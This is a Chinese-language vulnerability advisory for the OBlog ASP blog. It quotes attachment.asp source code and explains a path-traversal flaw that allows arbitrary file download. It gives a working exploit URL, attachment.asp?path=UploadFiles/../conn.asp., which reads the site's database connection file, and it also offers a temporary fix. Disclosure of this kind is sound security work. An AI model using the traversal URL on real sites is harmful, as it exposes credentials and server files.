OBlog任意文件下载漏洞

所属分类: 实用技巧 / 漏洞研究 阅读数: 1694
收藏 0 赞 0 分享

Path = Trim(Request("path")) '获取用户提交的路径 
FileID = Trim(Request("FileID")) 
If FileID ="" And Path = "" Then 
Response.Write "参数不足" 
Response.End 
End If 
... 
If CheckDownLoad Or 1= 1Then 
If Path = "" Then 
set rs = Server.CreateObject("ADODB.RecordSet") 
link_database 
SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&CLng(FileID)) 
rs.open sql,conn,1,3 
If Not rs.Eof Then 
uid = rs(1) 
file_ext = rs(2) 
rs("ViewNum") = rs("ViewNum") + 1 
rs.Update 
downloadFile Server.MapPath(rs(0)),0 
Else 
Response.Status=404 
Response.Write "该附件不存在!" 
End If 
rs.Close 
Set rs = Nothing 
Else 
If InStr(path,Oblog.CacheConfig(56)) > 0 Then 'Tr4c3 标注:注意这里,仅仅判断用户提交的路径是否包含UploadFiles,为真则调用downloadfile函数下载文件 
downloadFile Server.MapPath(Path),1 
End if 
End If 
Else 
'如果附件为图片的话,当权限检验无法通过则调用一默认图片,防止<img>标记无法调用,影响显示效果 
If Path = "" Then 
Response.Status=403 
Response.Write ShowDownErr 
Response.End 
Else 
downloadFile Server.MapPath(blogdir&"images/oblog_powered.gif"),1 
End if 
End if 

Set oblog = Nothing 

Sub downloadFile(strFile,stype) 
On Error Resume Next 
Server.ScriptTimeOut=9999999 
Dim S,fso,f,intFilelength,strFilename 
strFilename = strFile 
Response.Clear 
Set s = Server.CreateObject(oblog.CacheCompont(2)) 
s.Open 
s.Type = 1 
Set fso = Server.CreateObject(oblog.CacheCompont(1)) 
If Not fso.FileExists(strFilename) Then 
If stype = 0 Then 
Response.Status=404 
Response.Write "该附件已经被删除!" 
Exit Sub 
Else 
strFilename = Server.MapPath(blogdir&"images/nopic.gif") 
End if 
End If 
Set f = fso.GetFile(strFilename) 
intFilelength = f.size 
s.LoadFromFile(strFilename) 
If Err Then 
Response.Write("<h1>错误: </h1>" & Err.Description & "<p>") 
Response.End 
End If 
Set fso=Nothing 
Dim Data 
Data=s.Read 
s.Close 
Set s=Nothing 
Dim ContentType 
select Case LCase(Right(strFile, 4)) 
Case ".asp",".mdb",".config",".js" 'Tr4c3 标注:再看这里,想起来什么来了?对了,前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com /post/306.html],利用方法也相似,神奇的"."又派上用场了。 
Exit Sub 
Case ".asf" 
ContentType = "video/x-ms-asf" 
Case ".avi" 
ContentType = "video/avi" 
Case ".doc" 
ContentType = "application/msword" 
Case ".zip" 
ContentType = "application/zip" 
Case ".xls" 
ContentType = "application/vnd.ms-excel" 
Case ".gif" 
ContentType = "image/gif" 
Case ".jpg", "jpeg" 
ContentType = "image/jpeg" 
Case ".wav" 
ContentType = "audio/wav" 
Case ".mp3" 
ContentType = "audio/mpeg3" 
Case ".mpg", "mpeg" 
ContentType = "video/mpeg" 
Case ".rtf" 
ContentType = "application/rtf" 
Case ".htm", "html" 
ContentType = "text/html" 
Case ".txt" 
ContentType = "text/plain" 
Case Else 
ContentType = "application/octet-stream" 
End select 
If Response.IsClientConnected Then 
If Not (InStr(LCase(f.name),".gif")>0 Or InStr(LCase(f.name),".jpg")>0 Or InStr(LCase(f.name),".jpeg")>0 Or InStr(LCase(f.name),".bmp")>0 Or InStr(LCase(f.name),".png")>0 )Then 
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name 
End If 
Response.AddHeader "Content-Length", intFilelength 
Response.CharSet = "UTF-8" 
Response.ContentType = ContentType 
Response.BinaryWrite Data 
Response.Flush 
Response.Clear() 
End If 
End Sub

<* 参考:
Tr4c3[at]126[dot]com 
*> 
测试方法:

[警 告]

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!

########################################################################
利用方法:
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################  
建议:
修补建议:
等待官方发布新的补丁程序。
########################################################################
临时解决办法:
将attachment.asp第5行 Path = Trim(Request(”path”)) 改成 Path = Replace(Trim(Request(”path”)),”..”,”")
######################################################################## 
更多精彩内容其他人还在看

系统安全:Win XP SP2 配置及故障解决技巧大揭露

系统安全:Win XP SP2 配置及故障解决技巧大揭露
收藏 0 赞 0 分享

并不神奇的Real影片木马

并不神奇的Real影片木马
收藏 0 赞 0 分享

新型网络攻击威胁大量网站

新型网络攻击威胁大量网站
收藏 0 赞 0 分享

浅析国内某网络游戏的安全现况

浅析国内某网络游戏的安全现况
收藏 0 赞 0 分享

fckeditor的漏洞详细篇

fckeditor的漏洞详细篇
收藏 0 赞 0 分享

Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范

Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范
收藏 0 赞 0 分享

webshell权限提升技巧

webshell权限提升技巧
收藏 0 赞 0 分享

db_owner权限得到webshell

db_owner权限得到webshell
收藏 0 赞 0 分享

sql注入建立虚拟目录

sql注入建立虚拟目录
收藏 0 赞 0 分享

利用图片做木马应用完全解析

利用图片做木马应用完全解析
收藏 0 赞 0 分享
查看更多